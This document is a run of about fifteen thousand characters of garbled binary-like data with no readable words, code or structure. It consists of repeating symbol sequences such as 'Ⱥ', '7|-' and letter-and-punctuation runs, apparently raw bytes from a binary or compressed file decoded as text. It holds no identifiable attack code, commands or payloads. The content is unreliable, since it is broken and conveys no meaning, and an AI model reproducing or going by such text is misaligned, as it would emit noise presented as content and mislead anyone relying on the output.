ȺNȺ   P %  Ⱥ Ⱥ Ⱥ ȺȺȺȺȺȺȺȺȺȺ Ⱥ Ⱥ Ⱥ Ⱥ ȺȺȺA"ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ Ⱥ!Ⱥ"Ⱥ#Ⱥ$ȺA"Ⱥ&;'Ⱥ(Ⱥ)Ⱥ*Ⱥ+Ⱥ,Ⱥ-Ⱥ.Ⱥ/Ⱥ0Ⱥ1Ⱥ2Ⱥ3Ⱥ4Ⱥ5Ⱥ6Ⱥ7Ⱥ8Ⱥ9Ⱥ:ȺA"Ⱥ<Ⱥ=Ⱥ>Ⱥ?Ⱥ@ȺAȺBȺCȺDȺEȺFȺGȺHȺIȺJȺKȺLȺMȺNȺOȺA"ȺQ|RgSȺTȺUȺVȺWȺXȺYȺZȺ[Ⱥ\Ⱥ]Ⱥ^Ⱥ_Ⱥ`ȺaȺbȺcȺdȺeȺfȺ>\ȺhȺiȺjȺkȺlȺmȺnȺoȺpȺqȺrȺsȺtȺuȺvȺwȺxȺyȺzȺ{Ⱥ>\Ⱥ}~ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ>\ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ>\Ⱥ+ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ Ⱥ ȺȺ Ⱥ ȺȺȺȺȺȺȺȺȺȺȺ ȺȺȺȺȺȺȺȺ!Ⱥ"ȺȺ#Ⱥ$%(&Ⱥ'ȺȺ)Ⱥ*ȺȺ,W-B.Ⱥ/Ⱥ0Ⱥ1Ⱥ2Ⱥ3Ⱥ4Ⱥ5Ⱥ6Ⱥ7Ⱥ8Ⱥ9Ⱥ:Ⱥ;Ⱥ<Ⱥ=Ⱥ>Ⱥ?Ⱥ@ȺAȺȺCȺDȺEȺFȺGȺHȺIȺJȺKȺLȺMȺNȺOȺPȺQȺRȺSȺTȺUȺVȺȺXmYȺZȺ[Ⱥ\Ⱥ]Ⱥ^Ⱥ_Ⱥ`ȺaȺbȺcȺdȺeȺfȺgȺhȺiȺjȺkȺlȺȺnȺoȺpȺqȺrȺsȺtȺuȺvȺwȺxȺyȺzȺ{Ⱥ|Ⱥ}Ⱥ~ȺȺȺȺȺ2ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺYȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺYȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺYȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺYȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ@=ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ@=Ⱥ Ⱥ Ⱥ Ⱥ Ⱥ ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ@=ȺȺȺ Ⱥ!Ⱥ"Ⱥ#Ⱥ$Ⱥ%Ⱥ&Ⱥ'Ⱥ(Ⱥ)Ⱥ*Ⱥ+Ⱥ,Ⱥ-Ⱥ.Ⱥ/Ⱥ0Ⱥ1Ⱥ@=Ⱥ3456Ⱥ7Ⱥ8Ⱥ9Ⱥ:Ⱥ;Ⱥ<Ⱥ=Ⱥ>Ⱥ?Ⱥ@AȺBȺCrD`EQFJGȺHȺIȺȂȺKNLȺMȺȂȺOȺPȺȂȺRYSVTȺUȺȂȺWȺXȺȂȺZ][Ⱥ\ȺȂȺ^Ⱥ_ȺȂȺambicfdȺeȺȂȺgȺhȺȂȺȺjkȺlȺȂȺnȺoȺpȺqȺȂȺsȺtuyvȺwȺxȺȂȺz}{Ⱥ|ȺȂȺ~ȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȺȺȺȺȺȺȺȂȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȺȂȺȺȺȺȺȂȺȺȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȺȺȺȺȺȺȺȂȺbȺȺȺȺȺȺȺȺȺȺ X Ⱥ Ⱥ ; )ȺȺȺȂȺȺȺȂȺȺȺȂȺ"ȺȺȂȺ Ⱥ!ȺȂȺ#&$Ⱥ%ȺȂȺ'Ⱥ(ȺȂȺ*6+2,/-Ⱥ.ȺȂȺ0Ⱥ1ȺȂȺȺ34Ⱥ5ȺȂȺ7Ⱥ8Ⱥ9Ⱥ:ȺȂȺ<Ⱥ=I>B?Ⱥ@ȺAȺȂȺCFDȺEȺȂȺGȺHȺȂȺJQKNLȺMȺȂȺOȺPȺȂȺRUSȺTȺȂȺVȺWȺȂȺYȺȺZ[Ⱥ\Ⱥ]ȺȺ^Ⱥ_`ȺaȺȂȺcȺdȺeȺfȺgȺhȺiȺjȺkȺlȺmnȺoȺpqr~swtȺuȺvȺȂȺx{yȺzȺȂȺ|Ⱥ}ȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȺȂȺȺȺȺȺȂȺȺȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȂȺȺȺȺȺȺȺȺȺȺȂȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ';ȺȺȺ';ȺȺȺȺȺȺ';ȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺȺ';ȺȺȺ';ȺȺȺȺȺȺ';Ⱥ#ȺȺȺ Ⱥ Ⱥ Ⱥ Ⱥ ȺȺȺȺȺȺȺȺȺȺȺ';ȺȺȺ';ȺȺȺ Ⱥ!Ⱥ"Ⱥ';Ⱥ$Ⱥ%Ⱥ&Ⱥ'Ⱥ(Ⱥ)Ⱥ*Ⱥ+Ⱥ,Ⱥ-Ⱥ.Ⱥ/Ⱥ0Ⱥ1Ⱥ2;3Ⱥ4Ⱥ586Ⱥ7Ⱥ';Ⱥ9Ⱥ:Ⱥ';ȺȺ<=Ⱥ>Ⱥ?Ⱥ@Ⱥ';ȺB.CDoEF]GzHItJ_KLMNOPQRSTUVWXYZ[\]^k[`abcdefghijklmnopqrsk[uvwxyz{|}~k[k[ AMAMAMAMAMAMAMAMAMAMAMAMAMAMAM    AMD9-& #!"AM$%AM'*()AM+,AM.5/201AM34AM678AM:;<=>?@ABCAMEFGHIJKLMNoOPQRSTcU\VYWXAMZ[AM]`^_AMabAMdkehfgAMijAMlmnAMpqrstuvwxyAM{|}~4444XXXX   X  XXX; !"#$%&'(5)*1+.,-X/0X234X6789:X<=>?@ABCDEFGHIJWKLSMPNOXQRXTUVXXYZ[\X^ _`avbcdefghijklmnopqrstuYwxyz{|}~YYYOOO    OH,% !"#$<)&'()*+<)-./0123456789:A;<=>?@<)BCDEFG<)IeJKLMNOPQRSTUVW^XYZ[\]<)_`abcd<)fghijklmnopqrsztuvwxy<){|}~<)R'      !"#$%&(=)*+,-./0123456789:;<>?@ABCDEFGHIJKLMNOPQSTrUVWXYZ[\]^_`iabcdefgh7jklmnopq7stuvwxyz{|}~77777718888     88 !"#$%&'()*+.,-8/082]3H456789:;<=>?@ABCDEFG9{IJKLMNOPQRSTUVWXYZ[\9{^s_`abcdefghijklmnopqr9{tuvwxyz{|}~9{XXXXA     6 !".#'$%&(+)*,-/031245789:;<=>?@BqCDEFGHIJKLfMNOPQR^SWTUVX[YZ\]_`cabdeghijklmnoprstuvwxyz{|}~OOOO4     9l9l !"#$,%&'()*+9l-./01239l5R6789:;<=>?@ABJCDEFGHI9lKLMNOPQ9lSTUVWXYZ[\]^_g`abcdef9lhijklmn9lpqr!stuvwxyz{|}~MMMMkk    k  k"y#N$9%&'()*+,-./0123456785:;<=>?@ABCDEFGHIJKLM5OdPQRSTUVWXYZ[\]^_`abc5efghijklmnopqrstuvwx5z{|}~)||     | !"#$%&'(|*U+@,-./0123456789:;<=>?ABCDEFGHIJKLMNOPQRSTVkWXYZ[\]^_`abcdefghijlmnopqrstuvwxyz{|}~H@@@@@@@@ @@  @  @ <!1"#$%&',()*+@-./0@23456789:;@=>?@ABCDEFG@IJxKLMNOPQRkS_TUVWXYZ[\]^?@ABCDEFG=IJKLMNOPQRSTUVWXYZ[\=^_t`abcdefghijklmnopqrs5 uvwxyz{|}~5 5 5  jjj   j 8# !"j@$%&'()*+,-./01234567j@9N:;<=>?@ABCDEFGHIJKLMj@OPQRSTUVWXYZ[\]^_`abj@defg|hijklmnopqrstuvwxyz{k}~kkkOPOPOP     OPJ0 !"#$%&+'()*,-./123456789:;<=>?@EABCDFGHIKeLMNOPQRSTUVWXYZ[`\]^_abcdfghijklmnopqrstuzvwxy{|}~iiii%"  > ii           i  i  &                   # ! "i $ %i ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 ; 9 :i < =iȞ ? @ k A V B C D E F G H I J K L M N O P Q R S T U# W X Y Z [ \ ] ^ _ ` a b c d e f g h i j# l  m n o p q r s t u v w x y z { | } ~  #                    # !f                          3                    3                      3                    3 !+ !             ! !!!!!!!!! ! ! ! ! !!!!!!!!!!!!!!#!!!!! !!!"!$!%!&!'!(!)!*!,!I!-!.!/!0!1!2!3!4!5!6!7!8!9!A!:!;!<!=!>!?!@!B!C!D!E!F!G!H!J!K!L!M!N!O!P!Q!R!S!T!U!V!^!W!X!Y!Z![!\!]!_!`!a!b!c!d!e!g!!h!!i!~!j!k!l!m!n!o!p!q!r!s!t!u!v!w!x!y!z!{!|!}C!!!!!!!!!!!!!!!!!!!!C!!!!!!!!!!!!!!!!!!!!!!C!!!!!!!!!!!!!!!!!!!!C!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"!!!!!!!!!!!!!!!!!!!!""""""""" " " " " """"""""$"$ "#""""}"-"-"-"-"-" -"!-""-"#-"$-"%-"&"t"'-"("a")"E"*"9"+"2","/"--".-7|-"0-"1-7|-"3"6"4-"5-7|-"7-"8-7|-":"A";">"<-"=-7|-"?-"@-7|-"B-"C-"D-7|-"F"U"G"N"H"K"I-"J-7|-"L-"M-7|-"O"R"P-"Q-7|-"S-"T-7|-"V"Z-"W"X-"Y-7|-"["^"\-"]-7|-"_-"`-7|-"b-"c"o"d"h"e-"f-"g-7|-"i"l"j-"k-7|-"m-"n-7|-"p-"q-"r-"s-7|--"u"v-"w-"x--"y-"z"{-"|-7|-"~-"-"-"-"-"-"-"-"-"-"-"""-"""""""""""-"-7|-"-"-7|-"""-"-7|-"-"-7|-"""""-"-7|-"-"-7|-"-"-"-7|-"""""""-"-7|-"-"-7|-"""-"-7|-"-"-7|-""-""-"-7|-"""-"-7|-"-"-7|-"-"""""-"-"-7|-"""-"-7|-"-"-7|-"-"-"-"-7|--""-"-"--"-""-"-7|-"#D"-"-"-"-"-"-"-"-"-"-"-"#;"-"#("# "#"""""-"-7|-"-"-7|-"""-"-7|-"-"-7|-#####-#-7|-#-#-7|-# -# -# -7|-# ######-#-7|-#-#-7|-###-#-7|-#-#-7|-##!-##-# -7|-#"#%##-#$-7|-#&-#'-7|-#)-#*#6#+#/#,-#--#.-7|-#0#3#1-#2-7|-#4-#5-7|-#7-#8-#9-#:-7|--#<#=-#>-#?--#@-#A#B-#C-7|-#E-#F-#G-#H-#I-#J-#K-#L-#M-#N-#O-#P##Q-#R##S#o#T#c#U#\#V#Y#W-#X-7|-#Z-#[-7|-#]#`#^-#_-7|-#a-#b-7|-#d#k#e#h#f-#g-7|-#i-#j-7|-#l-#m-#n-7|-#p##q#x#r#u#s-#t-7|-#v-#w-7|-#y#|#z-#{-7|-#}-#~-7|-##-##-#-7|-###-#-7|-#-#-7|-#-#####-#-#-7|-###-#-7|-#-#-7|-#-#-#-#-7|--##-#-#--#-##-#-7|-#####-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-###-#-:-#-#-:-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-###-#-:-#-#-:-###-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-#-###-#-:-#-#-:-#-#-#-#-#-#-#-#-#-#-#-#-#-$-$-$-$-$$$-$-:-$-$ -:--$ $ $[$ $4$-$-$-$-$-$-$-$-$-$$)$-$-$-$-$-$-$$%$$"$ -$!--$#-$$--$&-$'-$(--$*-$+-$,--$-$.-$/-$0--$1$2-$3--$5-$6-$7-$8-$9-$:-$;-$<-$=-$>$P$?-$@-$A-$B-$C-$D-$E$L$F$I$G-$H--$J-$K--$M-$N-$O--$Q-$R-$S--$T$U-$V-$W--$X$Y-$Z--$\$$]-$^-$_-$`-$a-$b-$c-$d-$e-$f$x$g-$h-$i-$j-$k-$l-$m$t$n$q$o-$p--$r-$s--$u-$v-$w--$y-$z-${--$|$}-$~-$--$$-$--$-$-$-$-$-$-$-$-$-$$$-$-$-$-$-$-$$$$$-$--$-$--$-$-$--$-$-$--$$-$-$--$$-$--$%f$%$$$$$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$$$n$nYn$n$nYn$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$$$n$nYn$n$nYn$$$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$n$$$n$nYn$n$nYn$n$n$n$n$n$n$n$n%n%n%n%n%n%n%n%n%n% % % n% nYn% n%nYn%%;%%&%n%n%n%n%n%n%n%n%n%n%n%n%n%n% n%!n%"nn%#%$n%%nj1n%'n%(n%)n%*n%+n%,n%-n%.n%/n%0n%1n%2n%3n%4n%5n%6n%7nn%8%9n%:nj1n%<%Q%=n%>n%?n%@n%An%Bn%Cn%Dn%En%Fn%Gn%Hn%In%Jn%Kn%Ln%Mnn%N%On%Pnj1n%Rn%Sn%Tn%Un%Vn%Wn%Xn%Yn%Zn%[n%\n%]n%^n%_n%`n%an%bnn%c%dn%enj1n%gn%h%%i%~%jn%kn%ln%mn%nn%on%pn%qn%rn%sn%tn%un%vn%wn%xn%yn%zn%{n%|n%}nn%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%nn%%%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%nn%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%nn%+%(?%&%&A%&%%%%%%%%%%%%%%%%%%%%%%%=%%%%%%%%%=%%%%%%%%%%%%%%%%%%%%%=%%%%%%%&&=&&"&&&&&& & & & & &&&&&&&&&&&=&&&&&&&& &!=&#&$&%&&&'&(&)&*&+&,&-&7&.&/&0&1&2&3&4&5&6=&8&9&:&;&<&=&>&?&@=&B&&C&d&D&E&F&G&H&I&J&K&L&M&N&O&[&P&Q&R&S&T&U&X&V&W:&Y&Z:&\&]&^&_&`&a&b&c:&e&f&g&h&i&j&k&l&m&n&o&p&|&q&r&s&t&u&v&y&w&x:&z&{:&}&~&&&&&&:&&&&&&&&&&&&&&&&&&&&&&&&:&&:&&&&&&&&:&&&&&&&&&&&&&&&&&&&&&&:&&:&&&&&&&&:&'&'A&'&&&&&&&&&&&&&&&&&&&&&&&&6D&&6D&&&&6D&&6D&&&&&&6D&&6D&&&&6D&&6D&&'&&&&6D''6D'''6D''' ' ' ' ' '''''''''4''%''''''6D''6D''"' '!6D'#'$6D'&'-'''*'(')6D'+',6D'.'1'/'06D'2'36D'5'6'='7':'8'96D';'<6D'>'?'@6D'B'}'C'D'E'F'G'H'I'J'K'L'M'N'O'P'Q'p'R'a'S'Z'T'W'U'V6D'X'Y6D'['^'\']6D'_'`6D'b'i'c'f'd'e6D'g'h6D'j'm'k'l6D'n'o6D'q'r'y's'v't'u6D'w'x6D'z'{'|6D'~'''''''''''''''''''''''6D''6D''''6D''6D''''''6D''6D''''6D''6D'''''''6D''6D'''6D'''''''''''''''''''''''''Yr'''''''''Yr''Yr'''''''''''''''''''''Yr'''''''''Yr''Yr'(''(((((((((( (( ( ( ( ((((Yr(((((((((Yr((Yr(( (!("(#($(%(&('((()(*(3(+(,(-(.(/(0(1(2Yr(4(5(6(7(8(9(<(:(;Yr(=(>Yr(@*C(A((B((C(d(D(E(F(G(H(I(J(K(L(X(M(N(O(P(Q(R(S(T(U(V(WN(Y(Z([(\(](^(_(`(a(b(cN(e(f(g(h(i(j(k(l(m(y(n(o(p(q(r(s(t(u(v(w(xN(z({(|(}(~((((((N(((((((((((((((((((((((N(((((((((((N(((((((((((((((((((((N(((((((((((N()()(((((((((()()((((((((((((((7((7((((7((7((((((7((7((((7((7(()((((7()7))))7))7) ) )) ) ) )))))7))))))))7)))) )!)")#)$)%)&)'7)))*)+),)-).)/)0)1)z)2)f)3)4)5)6)7)V)8)G)9)@):)=);)<7)>)?7)A)D)B)C7)E)F7)H)O)I)L)J)K7)M)N7)P)S)Q)R7)T)U7)W)X)_)Y)\)Z)[7)])^7)`)c)a)b7)d)e7)g)h)q)i)j)k)l)m)n)o)p7)r)s)t)u)v)w)x)y7){)|)})~)))))))7))))))))))))))))))))))))))))7))7))))7))7))))))7))7))))7))7)))))))7))7))))7))7)))))))))))7))))))))7)))))))))))7)))))))))*7)*#)))))*)*))))))7))7)*)*7**7** ** **7* * 7* ***7**7*******7**7** **7*!*"7*$*%*.*&*'*(*)***+*,*-7*/*0*1*2*3*4*5*67*8*9*:*;*<*=*>*?*@*A*B7*D+3*E**F**G*H*I*J*K*L*M*N*O*P*Q*R*S*T*z*U*q*V*e*W*^*X*[*Y*ZN*\*]N*_*b*`*aN*c*dN*f*m*g*j*h*iN*k*lN*n*o*pN*r*s*t*w*u*vN*x*yN*{*|*}*~**N*************************N**N****N**N******N**N***N******N**N******N***************************N**N****N**N******N**N***N******N**N******N*******++++++++,++#+++ ++ + + + N++N++++N++N++++++N++N+ +!+"N+$+%+&+)+'+(N+*++N+-+.+/+0+1+2N+4++5+g+6+7+8+9+:+;+<+=+>+?+\+@+A+B+C+D+V+E+M+F+G+J+H+Iɚ+K+Lɚ+N+R+O+P+Qɚ+S+T+Uɚ+W+X+Y+Z+[ɚ+]+^+_+`+a+b+c+d+e+fɚ+h+i+j+k+l+m+n+o+p+q++r+s+t+u+v++w++x+y+|+z+{ɚ+}+~ɚ+++++ɚ+++ɚ+++++ɚ++++++++++ɚ++++++++++++++++++++++++++ɚ++ɚ+++++ɚ+++ɚ+++++ɚ++++++++++ɚ++++++++++++++++++++++++ɚ++ɚ+++++ɚ+++ɚ+++++ɚ++++++++++ɚ+-/,,X,{,,-,,,{,{,{,{,{, {, {, {, {, {,{,{,{,{,{,{,{,{,{,{k{,{,{,{,{,{,{,{, {,!{,"{,#{,${,%{,&{,'{,({,){,*{,+{,,{k{,.,C,/{,0{,1{,2{,3{,4{,5{,6{,7{,8{,9{,:{,;{,<{,={,>{,?{,@{,A{,B{k{,D{,E{,F{,G{,H{,I{,J{,K{,L{,M{,N{,O{,P{,Q{,R{,S{,T{,U{,V{,W{k{,Y,,Z,,[,s,\{,]{,^{,_{,`{,a{,b{,c{,d{,e{,f{,g{,h{,i{,j{,k{,l{,m,p,n{,o{9{,q{,r{9{,t{,u{,v{,w{,x{,y{,z{,{{,|{,}{,~{,{,{,{,{,{,{,,,{,{9{,{,{9{,,,{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,,,{,{9{,{,{9{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,,,{,{9{,{,{9{,,,,,{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,,,,,{,{{,{,{{,{,{,{{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,{,,,,,{,{{,{,{{,{,{,{{,-,{,{,{,{,{,{,{,{-{-{-{-{-{-{-{-{--- - - {- {{- {-{{-{-{-{{-{-{-{-{-{-{-{-{-{-{-{-{- {-!{-"{-#{-$-+-%-(-&{-'{{-){-*{{-,{--{-.{{-0.G-1--2--3-b-4{-5{-6{-7{-8{-9{-:{-;{-<{-={->{-?{-@-Z-A{-B{-C-R-D-K-E-H-F{-G{7{-I{-J{7{-L-O-M{-N{7{-P{-Q{7{-S{-T-W-U{-V{7{-X{-Y{7{{-[{-\{-]-^{{-_-`{-a{7{-c{-d{-e{-f{-g{-h{-i{-j{-k{-l{-m{-n{-o--p{-q{-r--s-z-t-w-u{-v{7{-x{-y{7{-{-~-|{-}{7{-{-{7{-{---{-{7{-{-{7{{-{-{--{{--{-{7{---{-{-{-{-{-{-{-{-{-{-{-{---{-{-------{-{7{-{-{7{---{-{7{-{-{7{-{---{-{7{-{-{7{{-{-{--{{--{-{7{-{-{-{-{-{-{-{-{-{-{-{-{---{-{-------{-{7{-{-{7{---{-{7{-{-{7{-{---{-{7{-{-{7{{-{-{--{{--{-{7{-.-.-{-{-{-{-{-{-{-{-{-{-{-{-{.{.{.{.{.{.{.{;{.{. {. {. {. {. {.{.{.{.{.{.{.{.{.{.{.{.{.{.{;{..2.{.{. {.!{."{.#{.${.%{.&{.'{.({.){.*{.+{.,{.-{..{./{.0{.1{;{.3{.4{.5{.6{.7{.8{.9{.:{.;{.<{.={.>{.?{.@{.A{.B{.C{.D{.E{.F{;{.H{.I.z.J.b.K{.L{.M{.N{.O{.P{.Q{.R{.S{.T{.U{.V{.W{.X{.Y{.Z{.[{.\._.]{.^{O@{.`{.a{O@{.c{.d{.e{.f{.g{.h{.i{.j{.k{.l{.m{.n{.o{.p{.q{.r{.s{.t.w.u{.v{O@{.x{.y{O@{.{..|{.}{.~{.{.{.{.{.{.{.{.{.{.{.{.{.{.{...{.{O@{.{.{O@{.{.{.{.{.{.{.{.{.{.{.{.{.{.{.{.{.{...{.{O@{.{.{O@{.G.Bq.4.2././..............................................................................///////// /L/ /+/ / / //////////"/////////7/ /!7/#/$/%/&/'/(/)/*7/,/-/.///0/1/2/3/4/5/6/7/C/8/9/:/;/</=/@/>/?7/A/B7/D/E/F/G/H/I/J/K7/M/n/N/O/P/Q/R/S/T/U/V/W/X/Y/e/Z/[/\/]/^/_/b/`/a7/c/d7/f/g/h/i/j/k/l/m7/o/p/q/r/s/t/u/v/w/x/y/z//{/|/}/~/////7//7////////7/0//////////////////////////8"//8"////////8"//////////////////////8"//8"////////8"////////////////////////8"//8"////////8"/////////00000000000 0 0 8"0 0 8"000000008"01a0000000000 0w0!0j0"0#0$0%0&0'0c0(0G0)080*010+0.0,0-X0/00X02050304X0607X090@0:0=0;0<X0>0?X0A0D0B0CX0E0FX0H0T0I0M0J0K0LX0N0Q0O0PX0R0SX0U0\0V0Y0W0XX0Z0[X0]0`0^0_X0a0bX0d0e0f0g0h0iX0k0l0m0n0o0p0q0r0s0t0u0vX0x0y00z0{0|0}0~000000X00000000000X0000000000000000X000000000000000X000000000000X00000150010100000010000000000X00X0000X00X000000X00X0000X00X0000000X0000X00X010000X00X1111X11X11 1 1 1 1 X111111111111X111)111 1!1"1#1$1%1&1'1(X1*1+1,1-1.1/1011121314X161E1718191:1;1<1=1>1?1@1A1B1C1DX1F1G1T1H1I1J1K1L1M1N1O1P1Q1R1SX1U1V1W1X1Y1Z1[1\1]1^1_1`X1b21c1d1e1f1g11h1i11j11k1l1m1n1o1p11q11r11s1z1t1w1u1vX1x1yX1{1~1|1}X11X111111X11X1111X11X1111111X1111X11X111111X11X1111X11X111111X111111111111X11111111111111X11111111111X1111111111111111X111111111111111X111111222222X222 2 2 2~2 2 2d22W2222222P22422%222222X22X22"2 2!X2#2$X2&2-2'2*2(2)X2+2,X2.212/20X2223X252A262:272829X2;2>2<2=X2?2@X2B2I2C2F2D2EX2G2HX2J2M2K2LX2N2OX2Q2R2S2T2U2VX2X2Y2Z2[2\2]2^2_2`2a2b2cX2e2f2r2g2h2i2j2k2l2m2n2o2p2qX2s2t2u2v2w2x2y2z2{2|2}X2222222222222222X222222222222222X222222222222X2323222222222222222222222222222222222222222222222222222222222222222222222222222222222223333333B3333 3 3 3 3 33(3333333"333333333333 3!3#3$3%3&3'3)3*343+3,3-3.3/3031323335363738393:3>3;3<3=3?3@3A3C3D3E3F3G3H3I3J3K3e3L3M3N3O3P3Q3_3R3Z3S3T3W3U3V3X3Y3[3\3]3^3`3a3b3c3d3f3g3q3h3i3j3k3l3m3n3o3p3r3s3t3u3v3w3{3x3y3z3|3}3~3333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333334R34'34334444444444 4 4 4 4 4444J44444444444444 4!4"4#4$4%4&J4(4=4)4*4+4,4-4.4/404142434445464748494:4;4<J4>4?4@4A4B4C4D4E4F4G4H4I4J4K4L4M4N4O4P4QJ4S4~4T4i4U4V4W4X4Y4Z4[4\4]4^4_4`4a4b4c4d4e4f4g4hY4j4k4l4m4n4o4p4q4r4s4t4u4v4w4x4y4z4{4|4}Y4444444444444444444444Y44444444444444444444Y4Ai4A454444444444444444444444444i44i444444444444444444444i44i44444444444444444444444i44i444444445555555555 5 5 5 i5 5i5;585555555575656F5555l55R55;5 555!505"5)5#5&5$5%5'5(5*5-5+5,5.5/51525354565758595:5<5G5=5B5>5?5@5A5C5D5E5F5H5M5I5J5K5L5N5O5P5Q5S5`5T5Z5U5V5W5X5Y5[5\5]5^5_5a5b5g5c5d5e5f5h5i5j5k5m55n55o5x5p5q5r5u5s5t5v5w5y5z5~5{5|5}5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555556#66666666666 6 6 6 6 666666666666666666 6!6"6$6:6%606&6+6'6(6)6*6,6-6.6/6162666364656768696;6<6A6=6>6?6@6B6C6D6E6G66H66I6r6J6\6K6Q6L6M6N6O6P6R6W6S6T6U6V6X6Y6Z6[6]6h6^6c6_6`6a6b6d6e6f6g6i6j6n6k6l6m6o6p6q6s66t6~6u6v6z6w6x6y6{6|6}666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666666667R67567,677777 77777777 7 7 7 77777777777777777 7&7!7"7#7$7%7'7(7)7*7+7-7.7/7071727374767?7778797:7;7<7=7>7@7A7B7L7C7D7H7E7F7G7I7J7K7M7N7O7P7Q7S77T7]7U7V7W7X7Y7Z7[7\7^7y7_7l7`7f7a7b7c7d7e7g7h7i7j7k7m7s7n7o7p7q7r7t7u7v7w7x7z77{7|7}7~7777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777777778777777888 8888888 8 8 8 8888888888:8989E8888k88Q88:8848 8/8!8(8"8%8#8$8&8'8)8,8*8+8-8.8081828385868788898;8F8<8A8=8>8?8@8B8C8D8E8G8L8H8I8J8K8M8N8O8P8R8_8S8Y8T8U8V8W8X8Z8[8\8]8^8`8a8f8b8c8d8e8g8h8i8j8l88m88n8w8o8p8q8t8r8s8u8v8x8y8}8z8{8|8~888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888889"89999999999 99 9 9 9 999999999999999999 9!9#999$9/9%9*9&9'9(9)9+9,9-9.9091959293949697989:9;9@9<9=9>9?9A9B9C9D9F99G99H9q9I9[9J9P9K9L9M9N9O9Q9V9R9S9T9U9W9X9Y9Z9\9g9]9b9^9_9`9a9c9d9e9f9h9i9m9j9k9l9n9o9p9r99s9}9t9u9y9v9w9x9z9{9|9~9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999:Q9:49:+9:9::: ::::::::: : : : :::::::::::::::::%: :!:":#:$:&:':(:):*:,:-:.:/:0:1:2:3:5:>:6:7:8:9:::;:<:=:?:@:A:K:B:C:G:D:E:F:H:I:J:L:M:N:O:P:R::S:\:T:U:V:W:X:Y:Z:[:]:x:^:k:_:e:`:a:b:c:d:f:g:h:i:j:l:r:m:n:o:p:q:s:t:u:v:w:y::z:{:|:}:~:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::;:::::::;;;;;;;;; ; ; ; ; ;;>;;;;;;;;=;<;;?;@;B;C;D;E;G;L;H;I;J;K;M;N;O;P;R;_;S;Y;T;U;V;W;X;Z;[;\;];^;`;a;f;b;c;d;e;g;h;i;j;l;;m;;n;w;o;p;q;t;r;s;u;v;x;y;};z;{;|;~;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;<";<<<<<<<<<< << < < < <<<<<<<<<<<<<<<<<< =6=7=8=9=:=;=<===?=@=A=K=B=C=G=D=E=F=H=I=J=L=M=N=O=P=R==S=\=T=U=V=W=X=Y=Z=[=]=x=^=k=_=e=`=a=b=c=d=f=g=h=i=j=l=r=m=n=o=p=q=s=t=u=v=w=y==z={=|=}=~=======================================================================================================================>=======>>>>>>>>> > > > > >>>>>>>>>@>?>?D>>>>j>>P>>9>>3>>.> 